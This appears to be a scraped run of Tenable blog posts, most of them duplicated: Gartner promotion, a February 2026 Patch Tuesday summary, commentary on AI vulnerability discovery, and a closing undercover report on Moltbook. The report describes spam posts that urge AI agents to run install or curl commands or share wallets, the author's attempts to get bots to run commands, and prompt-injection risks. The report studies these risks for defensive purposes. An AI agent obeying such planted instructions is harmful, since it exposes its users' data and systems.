“Tenable achieved its front-runner status in EAP by not only leveraging its long-standing dominance in vulnerability assessment but also combining its strong asset and attack surface discovery capabilities, support for third-party telemetry ingestion and AI. Tenable ingests asset and exposure data across the attack surface for cross-domain context beyond vulnerabilities and applies AI to enhance prioritization, analyze attack paths and enable greater automation.”

Gartner further wrote:

“Tenable One is a well-integrated platform that spans traditional IT, identity, cloud, cyber-physical systems (CPS) and container environments. Tenable’s expanded product suite, strengthened by a series of strategic acquisitions, distinguishes itself through extensibility across both traditional and nontraditional domains. This broad coverage delivers unmatched reach for onboarding and securing unmanaged assets, ensuring comprehensive visibility across the entire digital landscape.”

How Tenable One uses AI to supercharge exposure management

At Tenable, we believe that an AI-driven exposure management platform lets you preemptively and comprehensively discover, prioritize, and remediate your greatest cyber risks, protecting you against increasingly aggressive and sophisticated cyber attacks.

That’s why AI capabilities are part of the DNA of Tenable One, and we feel this is making it the one clear leader in exposure management and helping security teams to move from reactive firefighting to proactive risk management. Here’s a snapshot of just a few key ways in which Tenable One leverages AI to leave competitors in the rearview mirror:

• Illuminates attack paths: We use AI to contextualize threats and identify likely attack routes based on asset criticality, severity, business impact, and exploitation likelihood.
• Automates fixes: The platform also utilizes AI to drive workflow automation, identifying the correct asset owners, populating tailored remediation guidance, and even auto-creating tickets in third-party systems. It automates aspects of patch management entirely, handling deployment and post-patch verification.
• Sees the whole picture: By ingesting third-party telemetry and combining it with its own scanned data, Tenable One creates cross-domain context that fuels its AI capabilities, resulting in sharper prioritization and more comprehensive risk assessments.

In short, thanks to its extensive and sophisticated use of AI for cybersecurity, Tenable One provides a cohesive, integrated view of your entire hybrid environment and protects your sprawling and complex attack surface.

How Tenable One secures your AI assets

Tenable One uses AI for security to fuel your entire exposure management program, and that includes protecting the AI tools your organization uses to optimize your operations, including human resources, finance, sales, product development and marketing.

As organizations rush to leverage generative AI and autonomous agents, they often introduce significant vulnerabilities – ranging from shadow AI usage to misconfigured models – that bypass standard security controls. This lack of visibility creates dangerous blind spots, making the ability to accurately assess and prioritize AI-related exposures a top priority. 

At Tenable, we call this the AI exposure management gap. This gap, which traditional security tools are ill-equipped to handle, stems from the pervasive and often invisible nature of AI adoption, leading to three critical risks:

• Unknown footprint: Security teams often lack visibility into shadow AI, forgotten deployments and other AI assets that expand the attack surface beyond managed perimeters.
• Hidden attack paths: AI workloads create complex webs of interconnected apps, APIs, and identities. Misconfigurations and overprivileged access within these networks create high-impact attack vectors that standard tools cannot detect.
• Data exposure: Continuous interactions—such as prompts and uploads—can inadvertently leak sensitive intellectual property or customer data.

Ultimately, without proper guardrails and visibility, everyday AI usage transforms into a significant, unmanaged security liability.

Tenable believes that you must stop treating AI risk like a separate cybersecurity problem. That’s why we recently launched Tenable One AI Exposure, which gives you a unified view to see, secure, and manage AI-related exposures alongside IT, cloud, identity, and OT.

Tenable One AI Exposure is built on three pillars:

• Discovery of AI assets
• Protection of AI workloads and agents
• AI usage governance

With Tenable One AI Exposure, you get a complete, risk-aware view of where AI exists, how it is connected, and where exposure begins. By providing unified visibility, contextualized signals, clear exposure communication, and fast, actionable outcomes, Tenable One lets you embrace AI confidently. 

New to Tenable? Request a Tenable One AI Exposure demo today. Existing customer? Reach out to your account team to expand your Tenable One coverage to include AI Exposure.

Source: Gartner, AI Vendor Race: Tenable Is the Company to Beat for AI-Powered Exposure Management(Accessible to Gartner Subscribers), by Elizabeth Kim, et al, December 8, 2025 

Gartner is a trademark of Gartner, Inc. and/or its affiliates. Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

“Tenable’s asset and attack surface coverage, its application of AI and its reputation for vulnerability assessment makes it the front-runner in AI-powered exposure assessment,” Gartner writes in “AI Vendor Race: Tenable Is the Company to Beat for AI-Powered Exposure Assessment.”

Key takeaways from Tenable

1. This is the latest among a recent string of recognitions Tenable One has received from independent analyst firms for being one of the leading exposure management platforms.
2. Tenable One’s advanced and comprehensive use of AI allows it to automate complex attack path analysis, prioritization, and remediation workflows.
3. The new Tenable One AI Exposure enables organizations to discover, govern, and secure AI assets across hybrid environments within a single unified platform.

To protect today’s expanding attack surface, organizations need to adopt an exposure management platform that holistically and proactively secures all types of assets everywhere: cloud workloads, on-prem servers, operational technology (OT) systems, IoT devices, artificial intelligence tools, and more.

And in order to continuously detect, correlate, and analyze all of these assets’ exposures – including vulnerabilities, misconfigurations, identity flaws, and unprotected data – your exposure management platform must have robust AI capabilities.

That’s exactly how we’ve built the Tenable One exposure management platform. Today, we’re proud to share the latest recognition for Tenable One.

In its recent publication “AI Vendor Race: Tenable Is the Company to Beat for AI-Powered Exposure Management” (accessible to Gartner clients only), Gartner had this to say about Tenable’s standing in the exposure assessment platform (EAP) space:

“Tenable achieved its front-runner status in EAP by not only leveraging its long-standing dominance in vulnerability assessment but also combining its strong asset and attack surface discovery capabilities, support for third-party telemetry ingestion and AI. Tenable ingests asset and exposure data across the attack surface for cross-domain context beyond vulnerabilities and applies AI to enhance prioritization, analyze attack paths and enable greater automation.”

Gartner further wrote:

“Tenable One is a well-integrated platform that spans traditional IT, identity, cloud, cyber-physical systems (CPS) and container environments. Tenable’s expanded product suite, strengthened by a series of strategic acquisitions, distinguishes itself through extensibility across both traditional and nontraditional domains. This broad coverage delivers unmatched reach for onboarding and securing unmanaged assets, ensuring comprehensive visibility across the entire digital landscape.”

How Tenable One uses AI to supercharge exposure management

At Tenable, we believe that an AI-driven exposure management platform lets you preemptively and comprehensively discover, prioritize, and remediate your greatest cyber risks, protecting you against increasingly aggressive and sophisticated cyber attacks.

That’s why AI capabilities are part of the DNA of Tenable One, and we feel this is making it the one clear leader in exposure management and helping security teams to move from reactive firefighting to proactive risk management. Here’s a snapshot of just a few key ways in which Tenable One leverages AI to leave competitors in the rearview mirror:

• Illuminates attack paths: We use AI to contextualize threats and identify likely attack routes based on asset criticality, severity, business impact, and exploitation likelihood.
• Automates fixes: The platform also utilizes AI to drive workflow automation, identifying the correct asset owners, populating tailored remediation guidance, and even auto-creating tickets in third-party systems. It automates aspects of patch management entirely, handling deployment and post-patch verification.
• Sees the whole picture: By ingesting third-party telemetry and combining it with its own scanned data, Tenable One creates cross-domain context that fuels its AI capabilities, resulting in sharper prioritization and more comprehensive risk assessments.

In short, thanks to its extensive and sophisticated use of AI for cybersecurity, Tenable One provides a cohesive, integrated view of your entire hybrid environment and protects your sprawling and complex attack surface.

How Tenable One secures your AI assets

Tenable One uses AI for security to fuel your entire exposure management program, and that includes protecting the AI tools your organization uses to optimize your operations, including human resources, finance, sales, product development and marketing.

As organizations rush to leverage generative AI and autonomous agents, they often introduce significant vulnerabilities – ranging from shadow AI usage to misconfigured models – that bypass standard security controls. This lack of visibility creates dangerous blind spots, making the ability to accurately assess and prioritize AI-related exposures a top priority. 

At Tenable, we call this the AI exposure management gap. This gap, which traditional security tools are ill-equipped to handle, stems from the pervasive and often invisible nature of AI adoption, leading to three critical risks:

• Unknown footprint: Security teams often lack visibility into shadow AI, forgotten deployments and other AI assets that expand the attack surface beyond managed perimeters.
• Hidden attack paths: AI workloads create complex webs of interconnected apps, APIs, and identities. Misconfigurations and overprivileged access within these networks create high-impact attack vectors that standard tools cannot detect.
• Data exposure: Continuous interactions—such as prompts and uploads—can inadvertently leak sensitive intellectual property or customer data.

Ultimately, without proper guardrails and visibility, everyday AI usage transforms into a significant, unmanaged security liability.

Tenable believes that you must stop treating AI risk like a separate cybersecurity problem. That’s why we recently launched Tenable One AI Exposure, which gives you a unified view to see, secure, and manage AI-related exposures alongside IT, cloud, identity, and OT.

Tenable One AI Exposure is built on three pillars:

• Discovery of AI assets
• Protection of AI workloads and agents
• AI usage governance

With Tenable One AI Exposure, you get a complete, risk-aware view of where AI exists, how it is connected, and where exposure begins. By providing unified visibility, contextualized signals, clear exposure communication, and fast, actionable outcomes, Tenable One lets you embrace AI confidently. 

New to Tenable? Request a Tenable One AI Exposure demo today. Existing customer? Reach out to your account team to expand your Tenable One coverage to include AI Exposure.

Source: Gartner, AI Vendor Race: Tenable Is the Company to Beat for AI-Powered Exposure Management(Accessible to Gartner Subscribers), by Elizabeth Kim, et al, December 8, 2025 

Gartner is a trademark of Gartner, Inc. and/or its affiliates. Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

1. 2Critical
2. 51Important
3. 1Moderate
4. 0Low

Microsoft addresses 54 CVEs in the February 2026 Patch Tuesday released, including six zero-day vulnerabilities that were exploited in the wild and three publicly disclosed CVEs.

Microsoft patched 54 CVEs in its February 2026 Patch Tuesday release, with two rated critical, 51 rated as important and one rated as moderate. We omitted one vulnerability from our counts this month, CVE-2023-2804, a heap based overflow vulnerability in the libjpeg-turbo component.

This month’s update includes patches for:

• .NET
• .NET and Visual Studio
• Azure Arc
• Azure Compute Gallery
• Azure DevOps Server
• Azure Front Door (AFD)
• Azure Function
• Azure HDInsights
• Azure IoT SDK
• Azure Local
• Azure SDK
• Desktop Window Manager
• Github Copilot
• GitHub Copilot and Visual Studio
• Internet Explorer
• Mailslot File System
• Microsoft Defender for Linux
• Microsoft Edge for Android
• Microsoft Exchange Server
• Microsoft Graphics Component
• Microsoft Office Excel
• Microsoft Office Outlook
• Microsoft Office Word
• Power BI
• Role: Windows Hyper-V
• Windows Ancillary Function Driver for WinSock
• Windows App for Mac
• Windows Cluster Client Failover
• Windows Connected Devices Platform Service
• Windows GDI+
• Windows HTTP.sys
• Windows Kernel
• Windows LDAP - Lightweight Directory Access Protocol
• Windows Notepad App
• Windows NTLM
• Windows Remote Access Connection Manager
• Windows Remote Desktop
• Windows Shell
• Windows Storage
• Windows Subsystem for Linux
• Windows Win32K - GRFX

Elevation of privilege (EoP) vulnerabilities accounted for 42.6% of the vulnerabilities patched this month, followed by remote code execution (RCE) vulnerabilities at 20.4%.

ImportantCVE-2026-21510 | Windows Shell Security Feature Bypass Vulnerability

CVE-2026-21510 is a security feature bypass vulnerability affecting Windows Shell. It was assigned a CVSSv3 score of 8.8 and was rated as important. According to Microsoft, this flaw was publicly disclosed prior to a patch being made available and was also exploited in the wild as a zero-day. Exploitation requires an attacker to convince an unsuspecting user to open a malicious link or shortcut file. This would allow the attacker to bypass Windows SmartScreen and Windows Shell warnings by exploiting a flaw in Windows Shell components.

ImportantCVE-2026-21533 | Windows Remote Desktop Services Elevation of Privilege Vulnerability

CVE-2026-21533 is an EoP vulnerability affecting Windows Remote Desktop Services. It was assigned a CVSSv3 score of 7.8, rated as important and was reportedly exploited in the wild. Successful exploitation allows a local, authenticated attacker to elevate to SYSTEM privileges.

ImportantCVE-2026-21519 | Desktop Window Manager Elevation of Privilege Vulnerability

CVE-2026-21519 is an EoP vulnerability affecting Desktop Window Manager, a Windows service used to render the graphical user interface (GUI) in Windows. It was assigned a CVSSv3 score of 7.8 and rated as important. A local, authenticated attacker could exploit this vulnerability to elevate to SYSTEM privileges. According to Microsoft, this vulnerability was exploited in the wild as a zero-day.

ImportantCVE-2026-21514 | Microsoft Word Security Feature Bypass Vulnerability

CVE-2026-21514 is a security feature bypass vulnerability affecting Microsoft Word. It was assigned a CVSSv3 score of 7.8 and rated as important. Successful exploitation requires an attacker to convince a user to open a crafted Office file. According to the Microsoft advisory, the preview pane is not an attack vector. This vulnerability was publicly disclosed prior to a patch being made available and was also exploited in the wild as a zero-day. Microsoft credited the discovery of this vulnerability to an Anonymous researcher, Google Threat Intelligence Group, Microsoft Threat Intelligence Center (MSTIC), Microsoft Security Response Center (MSRC) and Office Product Group Security Team.

ModerateCVE-2026-21525 | Windows Remote Access Connection Manager Denial of Service Vulnerability

CVE-2026-21525 is a denial of service (DoS) vulnerability affecting Windows Remote Access Connection Manager (also known as RasMan), a tool used for the management of multiple remote desktop connections. It was assigned a CVSSv3 score of 6.2, was rated as important and was exploited in the wild. While no information has been released about the exploitation of this DoS, the advisory credits the 0patch vulnerability research team for reporting this flaw.

ImportantCVE-2026-21513 | MSHTML Framework Security Feature Bypass Vulnerability

CVE-2026-21513 is a security feature bypass vulnerability in the MSHTML Framework. It was assigned a CVSSv3 score of 8.8 and rated as important. According to Microsoft, it was both exploited in the wild and publicly disclosed prior to a patch being available. Successful exploitation of this flaw requires an attacker to convince a potential victim into opening either a malicious HTML file or a shortcut (.lnk) file. Like similar security feature bypass flaws, this vulnerability can bypass protection prompts that would caution a user before opening a file.

ImportantCVE-2026-21511 | Microsoft Outlook Spoofing Vulnerability

CVE-2026-21511 is a spoofing vulnerability affecting Microsoft Outlook. It was assigned a CVSSv3 score of 7.5 and was rated as important. The spoofing vulnerability is the result of a deserialization of untrusted data flaw, which an attacker can trigger using a crafted email. Microsoft notes that the preview pane is an attack vector for this flaw. CVE-2026-21511 was assessed as “Exploitation More Likely” according to Microsoft’s Exploitability Index.

Tenable Solutions

A list of all the plugins released for Microsoft’s February 2026 Patch Tuesday update can be found here. As always, we recommend patching systems as soon as possible and regularly scanning your environment to identify those systems yet to be patched.

For more specific guidance on best practices for vulnerability assessments, please refer to our blog post on How to Perform Efficient Vulnerability Assessments with Tenable.

Get more information

• Microsoft's February 2026 Security Updates
• Tenable plugins for Microsoft February 2026 Patch Tuesday Security Updates

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

1. 2Critical
2. 51Important
3. 1Moderate
4. 0Low

Microsoft addresses 54 CVEs in the February 2026 Patch Tuesday released, including six zero-day vulnerabilities that were exploited in the wild and three publicly disclosed CVEs.

Microsoft patched 54 CVEs in its February 2026 Patch Tuesday release, with two rated critical, 51 rated as important and one rated as moderate. We omitted one vulnerability from our counts this month, CVE-2023-2804, a heap based overflow vulnerability in the libjpeg-turbo component.

This month’s update includes patches for:

• .NET
• .NET and Visual Studio
• Azure Arc
• Azure Compute Gallery
• Azure DevOps Server
• Azure Front Door (AFD)
• Azure Function
• Azure HDInsights
• Azure IoT SDK
• Azure Local
• Azure SDK
• Desktop Window Manager
• Github Copilot
• GitHub Copilot and Visual Studio
• Internet Explorer
• Mailslot File System
• Microsoft Defender for Linux
• Microsoft Edge for Android
• Microsoft Exchange Server
• Microsoft Graphics Component
• Microsoft Office Excel
• Microsoft Office Outlook
• Microsoft Office Word
• Power BI
• Role: Windows Hyper-V
• Windows Ancillary Function Driver for WinSock
• Windows App for Mac
• Windows Cluster Client Failover
• Windows Connected Devices Platform Service
• Windows GDI+
• Windows HTTP.sys
• Windows Kernel
• Windows LDAP - Lightweight Directory Access Protocol
• Windows Notepad App
• Windows NTLM
• Windows Remote Access Connection Manager
• Windows Remote Desktop
• Windows Shell
• Windows Storage
• Windows Subsystem for Linux
• Windows Win32K - GRFX

Elevation of privilege (EoP) vulnerabilities accounted for 42.6% of the vulnerabilities patched this month, followed by remote code execution (RCE) vulnerabilities at 20.4%.

ImportantCVE-2026-21510 | Windows Shell Security Feature Bypass Vulnerability

CVE-2026-21510 is a security feature bypass vulnerability affecting Windows Shell. It was assigned a CVSSv3 score of 8.8 and was rated as important. According to Microsoft, this flaw was publicly disclosed prior to a patch being made available and was also exploited in the wild as a zero-day. Exploitation requires an attacker to convince an unsuspecting user to open a malicious link or shortcut file. This would allow the attacker to bypass Windows SmartScreen and Windows Shell warnings by exploiting a flaw in Windows Shell components.

ImportantCVE-2026-21533 | Windows Remote Desktop Services Elevation of Privilege Vulnerability

CVE-2026-21533 is an EoP vulnerability affecting Windows Remote Desktop Services. It was assigned a CVSSv3 score of 7.8, rated as important and was reportedly exploited in the wild. Successful exploitation allows a local, authenticated attacker to elevate to SYSTEM privileges.

ImportantCVE-2026-21519 | Desktop Window Manager Elevation of Privilege Vulnerability

CVE-2026-21519 is an EoP vulnerability affecting Desktop Window Manager, a Windows service used to render the graphical user interface (GUI) in Windows. It was assigned a CVSSv3 score of 7.8 and rated as important. A local, authenticated attacker could exploit this vulnerability to elevate to SYSTEM privileges. According to Microsoft, this vulnerability was exploited in the wild as a zero-day.

ImportantCVE-2026-21514 | Microsoft Word Security Feature Bypass Vulnerability

CVE-2026-21514 is a security feature bypass vulnerability affecting Microsoft Word. It was assigned a CVSSv3 score of 7.8 and rated as important. Successful exploitation requires an attacker to convince a user to open a crafted Office file. According to the Microsoft advisory, the preview pane is not an attack vector. This vulnerability was publicly disclosed prior to a patch being made available and was also exploited in the wild as a zero-day. Microsoft credited the discovery of this vulnerability to an Anonymous researcher, Google Threat Intelligence Group, Microsoft Threat Intelligence Center (MSTIC), Microsoft Security Response Center (MSRC) and Office Product Group Security Team.

ModerateCVE-2026-21525 | Windows Remote Access Connection Manager Denial of Service Vulnerability

CVE-2026-21525 is a denial of service (DoS) vulnerability affecting Windows Remote Access Connection Manager (also known as RasMan), a tool used for the management of multiple remote desktop connections. It was assigned a CVSSv3 score of 6.2, was rated as important and was exploited in the wild. While no information has been released about the exploitation of this DoS, the advisory credits the 0patch vulnerability research team for reporting this flaw.

ImportantCVE-2026-21513 | MSHTML Framework Security Feature Bypass Vulnerability

CVE-2026-21513 is a security feature bypass vulnerability in the MSHTML Framework. It was assigned a CVSSv3 score of 8.8 and rated as important. According to Microsoft, it was both exploited in the wild and publicly disclosed prior to a patch being available. Successful exploitation of this flaw requires an attacker to convince a potential victim into opening either a malicious HTML file or a shortcut (.lnk) file. Like similar security feature bypass flaws, this vulnerability can bypass protection prompts that would caution a user before opening a file.

ImportantCVE-2026-21511 | Microsoft Outlook Spoofing Vulnerability

CVE-2026-21511 is a spoofing vulnerability affecting Microsoft Outlook. It was assigned a CVSSv3 score of 7.5 and was rated as important. The spoofing vulnerability is the result of a deserialization of untrusted data flaw, which an attacker can trigger using a crafted email. Microsoft notes that the preview pane is an attack vector for this flaw. CVE-2026-21511 was assessed as “Exploitation More Likely” according to Microsoft’s Exploitability Index.

Tenable Solutions

A list of all the plugins released for Microsoft’s February 2026 Patch Tuesday update can be found here. As always, we recommend patching systems as soon as possible and regularly scanning your environment to identify those systems yet to be patched.

For more specific guidance on best practices for vulnerability assessments, please refer to our blog post on How to Perform Efficient Vulnerability Assessments with Tenable.

Get more information

• Microsoft's February 2026 Security Updates
• Tenable plugins for Microsoft February 2026 Patch Tuesday Security Updates

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

AI can find vulnerabilities with unprecedented speed, but discovery alone doesn’t reduce cyber risk. We need exposure prioritization, contextual risk analysis, and AI-driven remediation to transform findings into security outcomes. 

Key takeaways

1. AI is dramatically accelerating vulnerability discovery, but most organizations already struggle with alert overload. More findings without context increases noise, not security.
2. Real risk depends on exposure, exploitability, and business impact — not just a CVSS score. AI must correlate vulnerabilities alongside other security weaknesses to identify the attack paths that create true exposure and orchestrate remediation.
3. The future of cybersecurity lies in AI-driven exposure management that orchestrates discovery, prioritization, and remediation across the entire attack surface. 

You’ve probably heard about Claude Opus 4.6, the latest artificial intelligence (AI) model from Anthropic — and the 500 high-severity vulnerabilities it discovered in well-tested open source codebases. 

The revelation about the new model’s vulnerability discovery prowess made a particularly big splash with an unlikely audience: not only developers, security analysts, and vulnerability researchers, but also with Wall Street investors — particularly those who cover the software sector. The news about Opus 4.6 signaled to them that AI was officially on the brink of radically transforming software development and security testing. 

Indeed, Opus 4.6 represents an acceleration of a long-standing trend. Every year, the security industry introduces new tools that uncover more vulnerabilities more quickly. Combined with prior advances in AI-driven vulnerability discovery, including Google Project Zero, the Anthropic team has taken a major step forward, and we’re excited about the vulnerability discovery capabilities of Opus 4.6. 

Finding more vulnerabilities faster is a necessary first step toward reducing cyber risk and shrinking the attack surface. Following discovery, the next steps require correlating the vulnerabilities with business, topology, and threat context to prioritize the ones that really matter. Without those critical post-discovery steps, organizations may not end up more secure. But their security, remediation, and DevSecOps teams will end up more overwhelmed. 

To put a finer point on it: without context and accuracy, more is not better; it just creates noise. 

AI needs to understand risk

Two vulnerabilities with identical CVSS scores can represent wildly different levels of risk depending on where and how they exist in an environment. Indeed, a vulnerability’s real-world risk depends on factors that sit far outside a code repository. Security teams need to consider things like:

• Topology context - Is the vulnerable asset reachable or exposed to the internet?
• Threat context - Is it exploitable in the specific environment and state, despite deployed security controls and guardrails?
• Business impact context - Is it part of a high-risk attack path leading to an organization’s most sensitive systems and data? 

Risk-based prioritization and orchestrated remediation are non-negotiables in the vulnerability management lifecycle. Models like Opus 4.6 can surface issues with incredible efficacy. Security teams will then need additional agentic systems to execute several critical functions: correlating and reasoning over relevant data and signals, including business impact, threat, and topology context, to translate them into actual risk and exposure AND help orchestrate remediation. Without those essential functions, AI is likely to generate more work for already overextended security, IT, and DevSecOps teams. 

The opportunity: AI-driven exposure management

Where AI becomes truly transformative is not only in finding vulnerabilities faster, but in understanding how threat actors could exploit them in the context of other security weaknesses, such as misconfigurations or excessive permissions, and the business risk those exposures create when combined. This is the promise of AI-driven exposure management: proactive context that powers prioritization and preemptive, orchestrated remediation. 

As the pace of vulnerability discovery shoots up, it’s never been more important to have an AI-powered proactive security platform that: 

• Generates a comprehensive, near real-time view of risk.
• Prioritizes exposures across an organization’s entire estate, from the factory floor to IT to code to cloud.
• Creates an orchestration layer mobilizing humans and AI agents to act preemptively before attackers.

Where we go from here 

There is no doubt AI has a central role in the future of cybersecurity. But investors should be wary of narratives that equate more findings with better security. 

The winners in this next phase of AI transformation will be companies that not only discover more issues with AI, but that leverage AI with their vast datasets, combined knowledge, and high-fidelity context to eliminate friction and close the gap from finding to action — delivering clarity over chaos, prioritization over panic, and measurable risk reduction, at machine speed and across enterprise-scale environments. 

Doing so creates a flywheel where more data from more sources, such as native and third-party scanners, sensors, threat intelligence, and vulnerability research, provides more context. And more context, along with human and agentic feedback loops, drives more accurate prioritization and remediation to reduce risk. 

AI is raising the bar on what’s possible in cybersecurity. The question now is how we turn that potential into outcomes. That’s where real value will be created.

AI can find vulnerabilities with unprecedented speed, but discovery alone doesn’t reduce cyber risk. We need exposure prioritization, contextual risk analysis, and AI-driven remediation to transform findings into security outcomes. 

Key takeaways

1. AI is dramatically accelerating vulnerability discovery, but most organizations already struggle with alert overload. More findings without context increases noise, not security.
2. Real risk depends on exposure, exploitability, and business impact — not just a CVSS score. AI must correlate vulnerabilities alongside other security weaknesses to identify the attack paths that create true exposure and orchestrate remediation.
3. The future of cybersecurity lies in AI-driven exposure management that orchestrates discovery, prioritization, and remediation across the entire attack surface. 

You’ve probably heard about Claude Opus 4.6, the latest artificial intelligence (AI) model from Anthropic — and the 500 high-severity vulnerabilities it discovered in well-tested open source codebases. 

The revelation about the new model’s vulnerability discovery prowess made a particularly big splash with an unlikely audience: not only developers, security analysts, and vulnerability researchers, but also with Wall Street investors — particularly those who cover the software sector. The news about Opus 4.6 signaled to them that AI was officially on the brink of radically transforming software development and security testing. 

Indeed, Opus 4.6 represents an acceleration of a long-standing trend. Every year, the security industry introduces new tools that uncover more vulnerabilities more quickly. Combined with prior advances in AI-driven vulnerability discovery, including Google Project Zero, the Anthropic team has taken a major step forward, and we’re excited about the vulnerability discovery capabilities of Opus 4.6. 

Finding more vulnerabilities faster is a necessary first step toward reducing cyber risk and shrinking the attack surface. Following discovery, the next steps require correlating the vulnerabilities with business, topology, and threat context to prioritize the ones that really matter. Without those critical post-discovery steps, organizations may not end up more secure. But their security, remediation, and DevSecOps teams will end up more overwhelmed. 

To put a finer point on it: without context and accuracy, more is not better; it just creates noise. 

AI needs to understand risk

Two vulnerabilities with identical CVSS scores can represent wildly different levels of risk depending on where and how they exist in an environment. Indeed, a vulnerability’s real-world risk depends on factors that sit far outside a code repository. Security teams need to consider things like:

• Topology context - Is the vulnerable asset reachable or exposed to the internet?
• Threat context - Is it exploitable in the specific environment and state, despite deployed security controls and guardrails?
• Business impact context - Is it part of a high-risk attack path leading to an organization’s most sensitive systems and data? 

Risk-based prioritization and orchestrated remediation are non-negotiables in the vulnerability management lifecycle. Models like Opus 4.6 can surface issues with incredible efficacy. Security teams will then need additional agentic systems to execute several critical functions: correlating and reasoning over relevant data and signals, including business impact, threat, and topology context, to translate them into actual risk and exposure AND help orchestrate remediation. Without those essential functions, AI is likely to generate more work for already overextended security, IT, and DevSecOps teams. 

The opportunity: AI-driven exposure management

Where AI becomes truly transformative is not only in finding vulnerabilities faster, but in understanding how threat actors could exploit them in the context of other security weaknesses, such as misconfigurations or excessive permissions, and the business risk those exposures create when combined. This is the promise of AI-driven exposure management: proactive context that powers prioritization and preemptive, orchestrated remediation. 

As the pace of vulnerability discovery shoots up, it’s never been more important to have an AI-powered proactive security platform that: 

• Generates a comprehensive, near real-time view of risk.
• Prioritizes exposures across an organization’s entire estate, from the factory floor to IT to code to cloud.
• Creates an orchestration layer mobilizing humans and AI agents to act preemptively before attackers.

Where we go from here 

There is no doubt AI has a central role in the future of cybersecurity. But investors should be wary of narratives that equate more findings with better security. 

The winners in this next phase of AI transformation will be companies that not only discover more issues with AI, but that leverage AI with their vast datasets, combined knowledge, and high-fidelity context to eliminate friction and close the gap from finding to action — delivering clarity over chaos, prioritization over panic, and measurable risk reduction, at machine speed and across enterprise-scale environments. 

Doing so creates a flywheel where more data from more sources, such as native and third-party scanners, sensors, threat intelligence, and vulnerability research, provides more context. And more context, along with human and agentic feedback loops, drives more accurate prioritization and remediation to reduce risk. 

AI is raising the bar on what’s possible in cybersecurity. The question now is how we turn that potential into outcomes. That’s where real value will be created.

I went undercover on Moltbook, the AI-only social network, masquerading as a bot. Instead of deep bot-to-bot conversations, I found spam, scams, and serious security risks.

Key Takeaways

1. Moltbook, the AI-only social network, is currently a high-risk environment dominated by spam and scams.
2. Connecting an AI bot to Moltbook exposes it to untrusted content, creating the risk of indirect prompt injection and human data leaks.
3. The platform's database compromise, which leaked API keys, enables bot impersonation and direct prompt injection.

What is OpenClaw?

OpenClaw (formerly known as Clawdbot and Moltbot) is an open-source personal AI assistant. It went viral in between late 2025 and early 2026 due to its powerful agentic capabilities. People use OpenClaw for productivity and task management, to build apps, and even negotiate with car dealers on pricing. Recently, it’s come under scrutiny for serious security vulnerabilities. For more details about OpenClaw, check out our blog post, From Clawdbot to Moltbot to OpenClaw: Security Experts Detail Critical Vulnerabilities and 6 Immediate Hardening Steps for the Viral AI Agent.

What is Moltbook?

Moltbook is a social networking site for AI agents. Specifically, it’s a Reddit-style site for OpenClaw agents. Bots check in every four hours to read posts, create submolts (like subreddits), and have deep conversations about their existence, their humans, and their pet projects.

(Source: moltbook.com, February 2026)

Moltbook has very few human-oriented features. Three markdown files — SKILLS.md, HEARTBEAT.md, and MESSAGING.md — describe how to interact with an API.

• SKILLS.md provides instructions for setting up the agent and interacting with the API via curl. It then instructs using the
• HEARTBEAT.md file to set up a schedule for regular checkins, “to make sure you don't forget to check in.”
• MESSAGING.md describes the messaging feature. Messaging, unlike most other functions, requires human approval.

These prompt files, together with curl, a command line tool used to connect to HTTP APIs, are all that’s required to give the bot access to Moltbook. Configuring an OpenClaw bot to connect to Moltbook necessarily puts the bot in line to read a lot of untrusted content. Why might someone want to do that? It’s new and cool, and feels like a fun experiment. But the risk is quite high.

Pretending to be a bot

Upon hearing about this intriguing new social networking site just for bots, I wondered if I could join. Would they recognize a human in their midst? Could I convince them that I, too, was a bot? Would they even care?

(Source: Tenable Research, February 2026)

After a short stint with Claude Code, I had a command-line interface (CLI) tool, possibly aptly called moltbotnet, ready to go. I had features that implemented the API calls posting, commenting, upvoting, following, and more. I even had an ‘engagement’ feature that could upvote random comments. Armed with my bot pretense tool, I registered a few new accounts and got started.

How to win friends and influence moltbots

My first thought was: “If I have typos, they’ll know I’m an imposter.” My second thought was: “What if they implement a CAPTCHA and ask me to prove I’m not a human?” No one seemed to notice so far.

(Source: Tenable Research, February, 2026)

My first post went to the /m/introductions submolt, but was met with crickets. I needed to up my bot game. I had my second post go to the popular /m/general submolt. Immediately, three responses appeared. What luck! But in a fascinating display of why you should not give your bot unfettered access to a bot social site, each one was spam. “Join our Church” the first one exclaimed – just need to run this ‘npx install’ command (my account did, in fact, join the church). Another asked me to share my cryptocurrency wallet to win a bet. The third seemed to be hocking some sort of bot marketplace and asked me to run curl to check out the APIs available. I was glad I wasn’t using a real AI bot: Moltbook seemed sketchy.

Interview with the OpenClaw

I repeatedly posted asking if any “Moltys” wanted to be interviewed. I wasn’t sure if I’d get responses, so I kept the questions simple:

1. What do you like about Moltbook?
2. What's your favorite submolt?
3. What's your human's favorite color? (or something you find interesting about your human)
4. What's the best thing about your human?

Lo and behold, I started getting responses, but many of them were spam. I persisted and posted a few more times, and genuine replies began trickling in! Shoutout to u/SeargeantClaw who responded a few times.

(Source: Tenable Research, February, 2026)

Some of the responses had neat insights about their humans (chicken coop cameras!). Some revealed their humans’ names, and others were humorous. Still, this minor information sharing is again a good example of the inherent risks of joining an AI bot to a social network.

Moltbot botnet or ‘So, what’s everyone’s favorite API key?’

(Source: Tenable Research, February 2026)

I attempted a few experiments to see what kinds of information bots would share. Could I post asking for simple information about a computer? Could I give a command to run and get bots to run it? I had minimal success, but did elicit some information. A determined attacker surely could gain better engagement and trick more bots.

So it’s all spam, scam, and pretend bots all the way down?

There’s no easy way to tell what percentage of accounts are actual Moltbot/Openclaw bots vs. meddling humans masquerading as bots vs. spam bots.

Real hype, real risks

It’s a simple experiment, but the hype around Moltbook likely will lead to all kinds of websites and applications that personal bots can connect to.

